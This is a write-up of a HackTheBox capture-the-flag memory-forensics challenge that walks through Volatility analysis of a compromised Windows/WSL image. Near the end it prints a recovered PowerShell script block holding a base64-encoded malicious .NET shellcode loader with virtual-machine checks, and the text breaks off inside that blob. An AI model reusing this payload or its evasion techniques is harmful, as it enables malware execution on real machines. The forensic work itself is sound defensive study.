Pandora's Bane Cyber Apocalypse 2023 Writeup
Pandora's Bane is listed as an insane challenge on HackTheBox's 2023 Cyber Apocalypse CTF. The only file supplied is
mem.raw
, which points us immediately to memory forensics.
My usual assumption is that the memory dump will be Windows, so I test by running
vol -f mem.raw windows.info
:
Volatility 3 Framework 2.4.2
Progress: 100.00 PDB scanning finished
Variable Value
Kernel Base 0xf80445604000
DTB 0x1ad000
Symbols file:///home/user/Downloads/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/CA8E2F01B822EDE6357898BFBF862997-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdVersionBlock 0xf80446213368
Major/Minor 15.19041
MachineType 34404
KeNumberProcessors 5
SystemTime 2023-03-15 19:49:46
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Wed Jan 4 04:27:11 1995
If it were any sort of
*nix
system, we would receive errors as the headers are wrong. However, we have a 64-bit Windows memory image based on the above output. Now, we dump processes that were running at the time of snapshot:
vol -f mem.raw windows.pslist
5320 5232 WindowsTermina 0xdb8d40bf4080 14 - 1 False 2023-03-15 19:47:11.000000 N/A
* 5536 5320 OpenConsole.ex 0xdb8d38df0080 6 - 1 False 2023-03-15 19:47:12.000000 N/A
* 5556 5320 ubuntu.exe 0xdb8d40c5d080 3 - 1 False 2023-03-15 19:47:12.000000 N/A
** 5812 5556 wsl.exe 0xdb8d3e39f080 3 - 1 False 2023-03-15 19:47:12.000000 N/A
*** 5864 5812 wslhost.exe 0xdb8d3dfa1080 3 - 1 False 2023-03-15 19:47:12.000000 N/A
**** 5872 5864 conhost.exe 0xdb8d3dfa2080 4 - 1 False 2023-03-15 19:47:12.000000 N/A
5880 5856 bash 0xdb8d3dfa3080 1 - 1 False 2023-03-15 19:47:12.000000 N/A
6700 2940 WindowsTermina 0xdb8d3dfa7080 25 - 1 False 2023-03-15 19:49:28.000000 N/A
* 5600 6700 OpenConsole.ex 0xdb8d40bde0c0 6 - 1 False 2023-03-15 19:49:29.000000 N/A
* 5644 6700 powershell.exe 0xdb8d40550080 21 - 1 False 2023-03-15 19:49:29.000000 N/A
Most of the output is incredibly normal windows processes but these above stand out:
shells for days. A simplified process tree would look like WindowsTerminal.exe -> OpenConsole.exe -> wsl.exe -> ubuntu.exe -> bash, conhost.exe. From the timestamps, WSL ran before PowerShell so we'll take a look there first.
Next, let's dump strings from the entire image so that we can grep to our heart's content. We'll run it with the flags
-f
to output file name on each line,
-t x
to output the offset within the file before each string in hexadecimal, then we'll write it to a file so we only need to grep a .txt.
strings -f -t x mem.raw >> strings_with_offset.txt
And now we can grep freely
cat strings_with_offsets.txt | grep -i "wsl\.exe"
:
To note, I rabbit-holed here. Above are the only WSL instances, however, if you grep the same file for
powershell, thousands of results return. The name of the box begins to make more sense when you grep through raw strings:
Pandora's (Box) Bane is stuffed to the gills with every skid-ware under the sun.
We'll skip the hours of frustration that ensued and get back on track with our shell enumeration.
We can also dump command line executions to see if any of these shells were running something interesting:
vol -f mem.raw windows.cmdline
5536 OpenConsole.ex "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.16.10261.0_x64__8wekyb3d8bbwe\OpenConsole.exe" --headless --win32input --resizeQuirk --width 108 --height 28 --signal 0xaf8 --server 0xaf4
5556 ubuntu.exe ubuntu.exe
6700 WindowsTermina wt.exe -p {61c54bbd-c2c6-5271-96e7-009a87ff44bf}
5600 OpenConsole.ex "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.16.10261.0_x64__8wekyb3d8bbwe\OpenConsole.exe" --headless --win32input --resizeQuirk --width 120 --height 30 --signal 0xb34 --server 0xb2c
5644 powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Altogether, we can establish our PowerShell will have a single PID of
5644 and our WSL will have a PID of
5812. Unfortunately, it won't be as easy as grabbing a B64 blob from the PowerShell command line.
Let's dump environment variables for both processes, see if there is anything abnormal:
vol -f mem.raw windows.envars.Envars --pid 5644
5644 powershell.exe 0x1abc6401dd0 HOMEDRIVE C:
5644 powershell.exe 0x1abc6401dd0 HOMEPATH \Users\Rygnarix
5644 powershell.exe 0x1abc6401dd0 LOCALAPPDATA C:\Users\Rygnarix\AppData\Local
5644 powershell.exe 0x1abc6401dd0 LOGONSERVER \\GALAX-35
5644 powershell.exe 0x1abc6401dd0 NUMBER_OF_PROCESSORS 5
5644 powershell.exe 0x1abc6401dd0 OS Windows_NT
5644 powershell.exe 0x1abc6401dd0 Path C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.16.10261.0_x64__8wekyb3d8bbwe;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Rygnarix\AppData\Local\Microsoft\WindowsApps;
5644 powershell.exe 0x1abc6401dd0 WT_PROFILE_ID {61c54bbd-c2c6-5271-96e7-009a87ff44bf}
[TRUNCATED]
We now have a username and hostname for our machine. Further, our Windows Terminal Profile ID matches the one above in the command line output: both PowerShell and WSL are running under Windows Terminal. Dumping environment variables for WSL shows mostly the same, with only the Terminal Profile ID as different which we take note of just in case we need it:
5812 wsl.exe 0x20ec8791dd0 WT_PROFILE_ID {51855cb2-8cce-5362-8f54-464b92b32386}
5812 wsl.exe 0x20ec8791dd0 WT_SESSION ee6447a5-d5ef-4f8a-aae3-f77c1f6adbdb
As both PowerShell and WSL write their respective histories to disk, let's grep the image for writing events:
vol -f mem.raw windows.filescan >> filescan.txt
Rather than re-run the command for each search, we'll just redirect output to a file we can quickly grep.
cat filescan.txt | grep -i "history"
gives us both locations:
0xdb8d38d4c6d0 \Windows\System32\winevt\Logs\Microsoft-Windows-FileHistory-Core%4WHC.evtx 216
0xdb8d3de94b50 \Users\Rygnarix\AppData\Local\Microsoft\Edge\User Data\Default\History-journal 216
0xdb8d3de99650 \Users\Rygnarix\AppData\Local\Microsoft\Edge\User Data\Default\History 216
0xdb8d3dea9500 \Users\Rygnarix\AppData\Local\Microsoft\Edge\User Data\Default\History-journal 216
0xdb8d3deaa7c0 \Users\Rygnarix\AppData\Local\Microsoft\Edge\User Data\Default\History 216
0xdb8d3deac890 \Users\Rygnarix\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu_79rhkp1fndgsc\LocalState\rootfs\home\user\.bash_history 216
0xdb8d3deade70 \Users\Rygnarix\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history 216
0xdb8d3deae640 \Users\Rygnarix\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history 216
0xdb8d3deae960 \Users\Rygnarix\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu_79rhkp1fndgsc\LocalState\rootfs\home\user\.bash_history 216
0xdb8d3fc1a1b0 \ProgramData\Microsoft\Windows Defender\Scans\History\CacheManager\6BD69CE0-82FD-4F3A-9B21-4EA5D1AB0BF2-0.bin 216
0xdb8d3fd4d790 \Users\Rygnarix\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 216
0xdb8d40630e50 \Users\Rygnarix\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu_79rhkp1fndgsc\LocalState\rootfs\usr\lib\x86_64-linux-gnu\libhistory.so.8.1 216
Now, we have three interesting virtual memory locations:
0xdb8d3deac890,
0xdb8d3deae960, and
0xdb8d3fd4d790. Volatility will let us dump the given file if we specify a PID or memory location, as we have the exact virtual address we'll use that:
vol -f mem.raw windows.dumpfiles --virtaddr 0xdb8d3deac890
.
Looks like our history was cleared, then after dumping basic enumeration data about the box, a netconn is made.
NameCheap? That's not Microsoft. Comparatively,
live.com
(a Microsoft domain) shows its registrar as
whois.corporatedomains.com
and uses Azure DNS for its name servers. This could be our payload. We'll earmark the file
/tmp/.apt-cache
as something to circle back to.
Repeating the last step of dumping the file at virtual address, we find that
0xdb8d3deae960 has the same contents. Checking
0xdb8d3fd4d790 last, our PowerShell history shows an enablement of WSL on the box, then a dump of whoami.
Let's go back to that
.apt-cache
file. In Debian-based distros, the apt cache is stored in
/var/cache/apt/archives
, not in a dot file,
especially under /tmp/. I'm running my analysis on a Ubuntu box, so I grepped my /tmp/ looking for anything that contains
.apt
, no dice. Is this our anomaly?
We'll repeat our command from earlier:
cat filescan.txt | grep -i ".apt-cache"
which gives us:
0xdb8d3debe9a0 \Users\Rygnarix\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu_79rhkp1fndgsc\LocalState\rootfs\tmp\.apt-cache 216
0xdb8d3debeb30 \Users\Rygnarix\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu_79rhkp1fndgsc\LocalState\rootfs\tmp\.apt-cache 216
Simply cat-ing the file returns some readable, some garbage data. So, we'll start enumerating
what this is. Running
file file.0xdb8d3debe9a0.0xdb8d3e264b20.DataSectionObject..apt-cache.dat
returns:
file.0xdb8d3debe9a0.0xdb8d3e264b20.DataSectionObject..apt-cache.dat: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=63790c15c356afa5027c5133cc3800a46520ffee, for GNU/Linux 4.4.0, with debug_info, not stripped
Let's dump section headers for the ELF, see what we've got. For simplicty, I made a copy of my file & renamed it to
apt-cache.elf
. Running
readelf -s apt-cache.elf
returns 104 entries in
.dynsym, 1091 entries in
.symtab. If we grep the output specifically for
FILE, which are source files compiled within the binary, we see some interesting output:
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS libaes.d02d3846-cgu.7
2: 0000000000000000 0 FILE LOCAL DEFAULT ABS std.947f5f0b-cgu.0
493: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
501: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
503: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
510: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
511: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
512: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
513: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
543: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
546: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
547: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
553: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
559: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
565: 0000000000000000 0 FILE LOCAL DEFAULT ABS 22ygxks9e4lcq8vw
566: 0000000000000000 0 FILE LOCAL DEFAULT ABS libaes.d02d3846-cgu.1
567: 0000000000000000 0 FILE LOCAL DEFAULT ABS libaes.d02d3846-cgu.3
568: 0000000000000000 0 FILE LOCAL DEFAULT ABS libaes.d02d3846-cgu.5
573: 0000000000000000 0 FILE LOCAL DEFAULT ABS hex.e020ddc8-cgu.0
574: 0000000000000000 0 FILE LOCAL DEFAULT ABS hex.e020ddc8-cgu.2
577: 0000000000000000 0 FILE LOCAL DEFAULT ABS hex.e020ddc8-cgu.1
578: 0000000000000000 0 FILE LOCAL DEFAULT ABS base64.253aac9c-cgu.0
579: 0000000000000000 0 FILE LOCAL DEFAULT ABS base64.253aac9c-[...]
580: 0000000000000000 0 FILE LOCAL DEFAULT ABS base64.253aac9c-cgu.3
581: 0000000000000000 0 FILE LOCAL DEFAULT ABS base64.253aac9c-cgu.4
584: 0000000000000000 0 FILE LOCAL DEFAULT ABS base64.253aac9c-cgu.5
585: 0000000000000000 0 FILE LOCAL DEFAULT ABS base64.253aac9c-cgu.6
586: 0000000000000000 0 FILE LOCAL DEFAULT ABS panic_unwind.ac0[...]
597: 0000000000000000 0 FILE LOCAL DEFAULT ABS object.fbcfdb07-cgu.0
598: 0000000000000000 0 FILE LOCAL DEFAULT ABS memchr.73ec295e-cgu.0
599: 0000000000000000 0 FILE LOCAL DEFAULT ABS rustc_demangle.c[...]
643: 0000000000000000 0 FILE LOCAL DEFAULT ABS miniz_oxide.d5d2[...]
647: 0000000000000000 0 FILE LOCAL DEFAULT ABS adler.b5dd99ff-cgu.0
648: 0000000000000000 0 FILE LOCAL DEFAULT ABS libc.9449c298-cgu.0
649: 0000000000000000 0 FILE LOCAL DEFAULT ABS compiler_builtin[...]
650: 0000000000000000 0 FILE LOCAL DEFAULT ABS compiler_builtin[...]
651: 0000000000000000 0 FILE LOCAL DEFAULT ABS compiler_builtin[...]
652: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
653: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
654: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
655: 0000000000000000 0 FILE LOCAL DEFAULT ABS rust_loader.433e[...]
656: 0000000000000000 0 FILE LOCAL DEFAULT ABS base64.253aac9c-[...]
657: 0000000000000000 0 FILE LOCAL DEFAULT ABS base64.253aac9c-[...]
658: 0000000000000000 0 FILE LOCAL DEFAULT ABS
718: 0000000000000000 0 FUNC GLOBAL DEFAULT UND posix_spawn_file[...]
792: 0000000000000000 0 FUNC GLOBAL DEFAULT UND posix_spawn_file[...]
895: 00000000000293b0 30 FUNC GLOBAL DEFAULT 14 _ZN3std2fs4File7[...]
1055: 0000000000000000 0 FUNC GLOBAL DEFAULT UND posix_spawn_file[...]
1069: 0000000000000000 0 FUNC WEAK DEFAULT UND posix_spawn_file[...]
Namely, we can now identify that this ELF was compiled in Rust. This Rust loader will call the AES library, hex, and base64. If you ran through some of the easier challenges, this is starting to sound like a very familiar obfuscation path. Since it's Rust, let's dump strings from this file & grep for
main.rs
, maybe something calls it by name. Lo and behold: our Rust binary is going to eventually call PowerShell. Given that it ran under WSL and is supposed to pwn a Windows box, highly likely that this is our intended path.
called `Result::unwrap()` on an `Err` valuepowershell.exe-Command{Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted}src/main.rs{Set-PSReadlineOption
Personally, I like DIE (Detect It Easy) for easy decompilation. Using Strings -> filter for ".rs", we get the below. Looks solidly like a Rust binary. Peaking through the headers, nothing else too interesting that stands out.
Let's revisit our good friend PowerShell. Though we did not see PowerShell run with an interactive command-line, it may still have something that we've missed. If we look back at the process tree:
Our PowerShell executed 2 minutes after WSL, maybe it was running our Rust binary? Thanks to the giant pile of skid-ware also running on this host, we can't just grep for strings from the error message above such as "
ExecutionPolicy" as thousands of lines of unique malware would return. Another artifact that PowerShell leaves on disk is the
PowerShell Operational.evtx event log. Let's see if that exists anywhere in memory.
Grepping through our
filescan.txt
file again, we find it:
0xdb8d3fd415d0 \Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx 216
vol -f ../mem.raw windows.dumpfiles --virtaddr 0xdb8d3fd415d0
gives us the raw EVTX file. Using
evtx_dump.py
, a sub-module of
python-evtx
, we can parse the outputted file. Among standard PowerShell executions with nothing special, we find a 102 event: a script block.
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-PowerShell" Guid="{a0c1853b-5c40-4b15-8766-3cf1c58f985a}"></Provider>
<EventID Qualifiers="">4104</EventID>
<Version>1</Version>
<Level>3</Level>
<Task>2</Task>
<Opcode>15</Opcode>
<Keywords>0x0000000000000000</Keywords>
<TimeCreated SystemTime="2023-03-10 20:19:38.037548"></TimeCreated>
<EventRecordID>102</EventRecordID>
<Correlation ActivityID="{ebcf3844-53e0-0001-1f4e-cfebe053d901}" RelatedActivityID=""></Correlation>
<Execution ProcessID="4468" ThreadID="5448"></Execution>
<Channel>Microsoft-Windows-PowerShell/Operational</Channel>
<Computer>DESKTOP-73LR50C</Computer>
<Security UserID="S-1-5-21-3061737852-3666381533-1918146786-1001"></Security>
</System>
<EventData><Data Name="MessageNumber">1</Data>
<Data Name="MessageTotal">1</Data>
<Data Name="ScriptBlockText">
$bytes = [System.Convert]::FromBase64String("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RUFEV1JJVEUAUEFHRV9FWEVDVVRFX1JFQURXUklURQBQQUdFX0VYRUNVVEUAUEFHRV9OT0FDQ0VTUwBQQUdFX1JFQURPTkxZAFBBR0VfV1JJVEVDT1BZAFBBR0VfRVhFQ1VURV9XUklURUNPUFkAdmFsdWVfXwBtc2NvcmxpYgBtZXRob2QAc2hlbGxjb2RlAEVuZEludm9rZQBCZWdpbkludm9rZQBJRGlzcG9zYWJsZQBSdW50aW1lRmllbGRIYW5kbGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAVmFsdWVUeXBlAERpc3Bvc2UAU2VjdXJpdHlVcGRhdGUAU2hlbGxjb2RlRGVsZWdhdGUATXVsdGljYXN0RGVsZWdhdGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBVbnZlcmlmaWFibGVDb2RlQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAFNlY3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUb1N0cmluZwBBc3luY0NhbGxiYWNrAGNhbGxiYWNrAE1hcnNoYWwAa2VybmVsMzIuZGxsAHRlc3RfZGxsLmRsbAB0ZXN0X2RsbABnZXRfSXRlbQBTeXN0ZW0ARW51bQBTZWN1cml0eUFjdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBNYW5hZ2VtZW50T2JqZWN0Q29sbGVjdGlvbgBNZW1vcnlQcm90ZWN0aW9uAFJ1bgBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZXIAVXBkYXRlcgBHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcgBUb0xvd2VyAE1hbmFnZW1lbnRPYmplY3RFbnVtZXJhdG9yAEdldEVudW1lcmF0b3IALmN0b3IALmNjdG9yAFVJbnRQdHIAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAENvbnRhaW5zAFN5c3RlbS5TZWN1cml0eS5QZXJtaXNzaW9ucwBSdW50aW1lSGVscGVycwBscEFkZHJlc3MATWFuYWdlbWVudEJhc2VPYmplY3QATWFuYWdlbWVudE9iamVjdABvYmplY3QAbHBmbE9sZFByb3RlY3QAVmlydHVhbFByb3RlY3QAZmxOZXdQcm90ZWN0AEdldABvcF9FeHBsaWNpdABJQXN5bmNSZXN1bHQAcmVzdWx0AFRvVXBwZXJJbnZhcmlhbnQAU3lzdGVtLk1hbmFnZW1lbnQAZ2V0X0N1cnJlbnQATW92ZU5leHQASW5pdGlhbGl6ZUFycmF5AGtleQBvcF9FcXVhbGl0eQBTeXN0ZW0uU2VjdXJpdHkAAEVTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AQwBvAG0AcAB1AHQAZQByAFMAeQBzAHQAZQBtAAAZTQBhAG4AdQBmAGEAYwB0AHUAcgBlAHIAACttAGkAYwByAG8AcwBvAGYAdAAgAGMAbwByAHAAbwByAGEAdABpAG8AbgAAC00AbwBkAGUAbAAAD1YASQBSAFQAVQBBAEwAAA12AG0AdwBhAHIAZQAAFVYAaQByAHQAdQBhAGwAQgBvAHgAAAAAAJfu+fpX9upLomc2N49wqKYABCABAQgDIAABBSABARERBCABAQ4EIAEBAgUgAQERQRgHDgISURJZEl0OAgIIAg8FRR0FGBEUEhAEIAASVQQgABJZBCAAEnkEIAEcDgMgAA4FAAICDg4EIAECDgMgAAIFAAEYDwEEAAEZCwgAARKAkRGAlQkAAhKAnRgSgJEJAAIBEoClEYCpCLd6XFYZNOCJCLA/X38R1Qo6BBAAAAAEIAAAAARAAAAABIAAAAAEAQAAAAQCAAAABAQAAAAECAAAAAQAAQAABAACAAAEAAQAAICeLgGAhFN5c3RlbS5TZWN1cml0eS5QZXJtaXNzaW9ucy5TZWN1cml0eVBlcm1pc3Npb25BdHRyaWJ1dGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORUBVAIQU2tpcFZlcmlmaWNhdGlvbgEDBh0FAwYRHAMGERgCBgkDBhEUAwAAAQoABAIYGREUEBEUBSACARwYByACEmUSaRwFIAEBEmUIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEABwEAAAAADQEACHRlc3RfZGxsAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDIzAAApAQAkYzBhY2ZlMWEtODkwYi00MjYyLWI2ZTAtZDQ3ZTJhMTFlZTFkAAAMAQAHMS4wLjAuMAAATQEAHC5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC43LjIBAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lFC5ORVQgRnJhbWV3b3JrIDQuNy4yAAAAAAAAAHJrOrIAAAAAAgAAAF4AAAD0MQAA9BMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTpF+pgKg3VkGPH6jBMiGAdAEAAABDOlxVc2Vyc1xBbnViaXNcc291cmNlXHJlcG9zXHRlc3RfZGxsXHRlc3RfZGxsXG9ialxEZWJ1Z1x0ZXN0X2RsbC5wZGIAejIAAAAAAAAAAAAAlDIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIYyAAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAAAA/yUAIAAQAAAAAEJ8J/Gec0wWErNKReeb81aYvyYa2L0b4kJqom1yvob13+in3b6y45L2RWjTPpxIj9